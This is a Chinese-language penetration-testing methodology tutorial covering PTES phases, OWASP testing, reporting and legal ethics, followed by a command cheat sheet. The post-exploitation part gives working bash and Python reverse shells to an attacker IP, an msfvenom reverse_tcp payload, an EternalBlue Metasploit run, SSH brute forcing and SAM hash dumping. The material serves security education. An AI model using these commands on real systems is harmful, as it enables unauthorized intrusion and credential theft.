前置知识: 网络安全

渗透测试方法论

5 min高级

渗透测试方法论:PTES标准、OSSTMM、攻击流程与报告编写详解。

1. 渗透测试标准

1.1 PTES 七阶段

阶段名称描述
1前期交互确定范围、目标、规则
2信息收集被动/主动侦察
3威胁建模识别攻击路径
4漏洞分析发现和验证漏洞
5渗透攻击利用漏洞获取访问
6后渗透权限提升、横向移动
7报告编写整理发现与建议

1.2 OSSTMM

开放安全测试方法论(Open Source Security Testing Methodology Manual):

  • 科学化测试方法
  • 可量化风险评估
  • 五大通道:人力、物理、无线、电信、数据网络

1.3 OWASP 测试指南

阶段测试项
信息收集基础设施、技术栈
配置管理服务器配置、日志
身份认证密码策略、会话管理
授权权限控制、越权
输入验证注入、XSS
业务逻辑流程绕过

2. 渗透测试流程

2.1 前期交互

关键文档:

文档内容
授权书书面授权,明确测试范围
规则约定测试时间、禁止行为
范围定义IP 段、域名、应用
紧急联系出现问题时联系谁

2.2 信息收集

被动信息收集:

技术工具获取信息
DNS 枚举dig, nslookup子域名、MX 记录
WHOISwhois注册信息
搜索引擎Google Dork敏感文件、目录
证书透明度crt.sh子域名
网络空间Shodan, FOFA开放服务
社交媒体OSINT员工信息

主动信息收集:

技术工具获取信息
端口扫描Nmap开放端口、服务
服务识别Nmap -sV服务版本
操作系统Nmap -OOS 类型
Web 指纹Wappalyzer技术栈
目录扫描dirsearch, gobuster隐藏路径

2.3 漏洞分析

1. 自动化扫描 → 发现潜在漏洞
2. 手动验证 → 确认漏洞真实性
3. 漏洞分级 → 评估影响程度
4. 组合利用 → 构建攻击链

2.4 渗透攻击

方法论:

1. 选择漏洞 → 匹配目标环境
2. 准备 Exploit → 适配目标版本
3. 执行攻击 → 获取初始访问
4. 验证结果 → 确认权限级别

常用工具:

工具用途
Metasploit综合渗透框架
Burp SuiteWeb 渗透
sqlmapSQL 注入
Cobalt Strike高级后渗透

2.5 后渗透

活动描述
权限提升本地提权(Linux/Windows)
横向移动内网渗透
数据收集敏感数据定位
持久化后门植入
痕迹清理日志清除

3. 渗透测试类型

3.1 按知识分类

类型测试者信息模拟场景
黑盒无任何信息外部攻击者
白盒完全信息内部人员
灰盒部分信息内部威胁

3.2 按位置分类

类型描述
外部测试从互联网发起
内部测试从内网发起
物理测试物理安全评估

4. 报告编写

4.1 报告结构

1. 执行摘要(管理层)
2. 测试范围与方法
3. 发现摘要(风险矩阵)
4. 详细发现
   - 漏洞描述
   - 复现步骤
   - 证据截图
   - 风险评级
   - 修复建议
5. 附录

4.2 风险评级

CVSS 评分:

评级CVSS 分数描述
严重9.0-10.0立即修复
高危7.0-8.9尽快修复
中危4.0-6.9计划修复
低危0.1-3.9可接受风险
信息0仅供参考

4.3 修复优先级

1. 互联网暴露的严重/高危漏洞 → 立即
2. 内网高危漏洞 → 48 小时内
3. 中危漏洞 → 1 周内
4. 低危漏洞 → 下次迭代

5. 法律与道德

5.1 法律要求

  • 必须获得书面授权
  • 遵守测试范围
  • 不得超出授权行为
  • 保护获取的数据

5.2 职业道德

  • 保密客户信息
  • 如实报告发现
  • 不隐瞒漏洞
  • 不植入后门
  • 及时报告紧急漏洞

信息收集

基本写法:DNS 枚举 dig any <域名>

# 查询域名所有 DNS 记录
dig any example.com

基本写法:子域名枚举 subfinder -d <域名>

# 使用 subfinder 枚举子域名
subfinder -d example.com -o subdomains.txt

基本写法:DNS 区域传送测试 dig axfr @<DNS服务器> <域名>

# 测试 DNS 区域传送是否允许
dig axfr @ns1.example.com example.com

基本写法:Whois 查询 whois <域名>

# 查询域名注册信息
whois example.com

基本写法:搜索引擎语法 site:<域名> intitle:"index of"

# 使用 Google Hacking 查找敏感信息
site:example.com intitle:"index of" -inurl:(html|php)

端口扫描

基本写法:nmap 基础扫描 nmap -sV <目标>

# 扫描目标开放端口与服务版本
nmap -sV 192.168.1.10

基本写法:快速端口扫描 nmap -T4 -F <目标>

# 快速扫描常用端口
nmap -T4 -F 192.168.1.10

基本写法:全端口扫描 nmap -p- -T4 <目标>

# 扫描所有 65535 个端口
nmap -p- -T4 192.168.1.10

基本写法:UDP 端口扫描 nmap -sU --top-ports <数量> <目标>

# 扫描常用 UDP 端口
sudo nmap -sU --top-ports 100 192.168.1.10

基本写法:操作系统识别 nmap -O <目标>

# 识别目标操作系统
sudo nmap -O 192.168.1.10

基本写法:漏洞脚本扫描 nmap --script vuln <目标>

# 使用 nmap 漏洞脚本扫描
nmap --script vuln 192.168.1.10

服务枚举

基本写法:SMB 枚举 enum4linux <目标>

# 枚举 SMB 共享与用户信息
enum4linux -a 192.168.1.10

基本写法:NFS 枚举 showmount -e <目标>

# 查看 NFS 导出的目录
showmount -e 192.168.1.10

基本写法:SSH 枚举 nmap --script ssh-* -p 22 <目标>

# 使用 nmap SSH 脚本枚举
nmap --script ssh-* -p 22 192.168.1.10

基本写法:SNMP 枚举 snmpwalk -c public -v1 <目标>

# 枚举 SNMP 信息
snmpwalk -c public -v1 192.168.1.10

基本写法:LDAP 枚举 ldapsearch -x -H ldap://<目标> -b <基准DN>

# 枚举 LDAP 目录信息
ldapsearch -x -H ldap://192.168.1.10 -b "dc=example,dc=com"

Web 应用测试

基本写法:目录爆破 gobuster dir -u <URL> -w <字典>

# 使用 gobuster 爆破 Web 目录
gobuster dir -u https://example.com -w /usr/share/wordlists/dirb/common.txt

基本写法:子域名爆破 gobuster dns -d <域名> -w <字典>

# 爆破子域名
gobuster dns -d example.com -w subdomains.txt

基本写法:Nikto 漏洞扫描 nikto -h <URL>

# 使用 Nikto 扫描 Web 漏洞
nikto -h https://example.com

基本写法:SQL 注入测试 sqlmap -u <URL> --dbs

# 使用 sqlmap 测试 SQL 注入
sqlmap -u "https://example.com/page?id=1" --dbs

基本写法:XSS 检测 dalfox url <URL>

# 使用 dalfox 检测 XSS 漏洞
dalfox url "https://example.com/search?q=test"

基本写法:WordPress 扫描 wpscan --url <URL>

# 扫描 WordPress 站点
wpscan --url https://example.com --enumerate u

漏洞利用

基本写法:搜索漏洞 searchsploit <关键字>

# 在 exploitdb 中搜索漏洞利用
searchsploit apache 2.4

基本写法:查看漏洞详情 searchsploit -x <漏洞ID>

# 查看漏洞利用代码详情
searchsploit -x 12345

基本写法:复制漏洞利用代码 searchsploit -m <漏洞ID>

# 复制漏洞利用代码到当前目录
searchsploit -m 12345

基本写法:使用 Metasploit msfconsole -q -x "use <模块>; set RHOSTS <目标>; run"

# 使用 Metasploit 利用漏洞
msfconsole -q -x "use exploit/windows/smb/ms17_010_eternalblue; set RHOSTS 192.168.1.10; run"

基本写法:生成 Payload msfvenom -p <payload> LHOST=<IP> LPORT=<端口> -f <格式> -o <文件>

# 生成反向连接 Payload
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.5 LPORT=4444 -f exe -o payload.exe

密码破解

基本写法:使用 hashcat 破解 hashcat -m <类型> <哈希> <字典>

# 使用 hashcat 破解 MD5 哈希(类型 0)
hashcat -m 0 hash.txt rockyou.txt

基本写法:使用 john 破解 john --wordlist=<字典> <哈希文件>

# 使用 John the Ripper 破解密码
john --wordlist=rockyou.txt hashes.txt

基本写法:破解 zip 密码 john --wordlist=<字典> <zip2john输出>

# 破解 ZIP 文件密码
zip2john protected.zip > zip.hash
john --wordlist=rockyou.txt zip.hash

基本写法:在线哈希查询 curl "https://hashtoolkit.com/reverse-hash?hash=<哈希>"

# 在线查询哈希明文
curl "https://hashtoolkit.com/reverse-hash?hash=098f6bcd4621d373cade4e832627b4f6"

基本写法:SSH 密码爆破 hydra -l <用户> -P <字典> ssh://<目标>

# 使用 hydra 爆破 SSH
hydra -l root -P passwords.txt ssh://192.168.1.10

后渗透操作

基本写法:建立反弹 shell bash -i >& /dev/tcp/<攻击IP>/<端口> 0>&1

# 通过 bash 反弹 shell 到攻击机
bash -i >& /dev/tcp/192.168.1.5/4444 0>&1

基本写法:Python 反弹 shell python3 -c 'import socket,subprocess,os;s=socket.socket();s.connect(("<IP>",<端口>));[os.dup2(s.fileno(),f) for f in (0,1,2)];subprocess.call(["/bin/sh"])'

# Python 反弹 shell
python3 -c 'import socket,subprocess,os;s=socket.socket();s.connect(("192.168.1.5",4444));[os.dup2(s.fileno(),f) for f in (0,1,2)];subprocess.call(["/bin/sh"])'

基本写法:升级交互式 shell python3 -c 'import pty;pty.spawn("/bin/bash")'

# 升级为交互式 shell
python3 -c 'import pty;pty.spawn("/bin/bash")'

基本写法:端口转发 ssh -L <本地端口>:<目标>:<目标端口> <用户>@<跳板>

# SSH 本地端口转发
ssh -L 8080:192.168.2.10:80 user@192.168.1.10

基本写法:动态端口转发 ssh -D <本地端口> <用户>@<跳板>

# SSH 动态端口转发建立 SOCKS 代理
ssh -D 1080 user@192.168.1.10

权限提升

基本写法:查找 SUID 文件 find / -perm -4000 -type f 2>/dev/null

# 查找 SUID 权限文件用于提权
find / -perm -4000 -type f 2>/dev/null

基本写法:查看 sudo 权限 sudo -l

# 查看当前用户 sudo 权限
sudo -l

基本写法:使用 LinPEAS 枚举 ./linpeas.sh

# 运行 LinPEAS 自动枚举提权路径
./linpeas.sh | grep -i "suid\|sudo\|writable"

基本写法:查看内核版本 uname -r

# 查看内核版本查找内核漏洞
uname -r

基本写法:查看计划任务 cat /etc/crontab

# 查看系统计划任务寻找提权点
cat /etc/crontab

内网渗透

基本写法:内网存活主机探测 nmap -sn <网段>

# Ping 扫描探测存活主机
nmap -sn 192.168.1.0/24

基本写法:使用 Proxychains proxychains <命令>

# 通过 SOCKS 代理执行命令
proxychains nmap -sT -Pn 192.168.2.0/24

基本写法:搭建 SOCKS 代理 ssh -D <端口> <用户>@<跳板> -fN

# 使用 SSH 建立后台 SOCKS 代理
ssh -D 1080 user@192.168.1.10 -fN

基本写法:内网端口扫描 nmap -sT -Pn -n --top-ports 100 <网段>

# 通过代理扫描内网常用端口
proxychains nmap -sT -Pn -n --top-ports 100 192.168.2.0/24

基本写法:Windows 凭据收集 secretsdump.py -local <文件>

# 使用 impacket 导出 SAM 哈希
secretsdump.py -sam SAM -system SYSTEM LOCAL

报告生成

基本写法:生成扫描报告 nmap -sV <目标> -oX <输出文件>

# 输出 XML 格式扫描报告
nmap -sV 192.168.1.10 -oX scan_report.xml

基本写法:转换为 HTML 报告 xsltproc <XML文件> -o <HTML文件>

# 将 nmap XML 报告转为 HTML
xsltproc scan_report.xml -o report.html

基本写法:整合多种扫描结果 python3 -c "import xml.etree.ElementTree as ET; ..."

# 解析多个工具的扫描结果整合报告
python3 -c "
import xml.etree.ElementTree as ET
tree = ET.parse('scan_report.xml')
for host in tree.findall('host'):
    print(host.find('address').get('addr'))
"

基本写法:生成渗透测试报告 pandoc <输入> -o <输出>

# 使用 pandoc 生成 PDF 报告
pandoc report.md -o pentest_report.pdf --pdf-engine=xelatex

基本写法:导出漏洞清单 grep -E "CVE|OSVDB" <报告> > <漏洞清单>

# 提取所有漏洞编号
grep -E "CVE-[0-9]+-[0-9]+|OSVDB" scan_report.txt > vulnerabilities.txt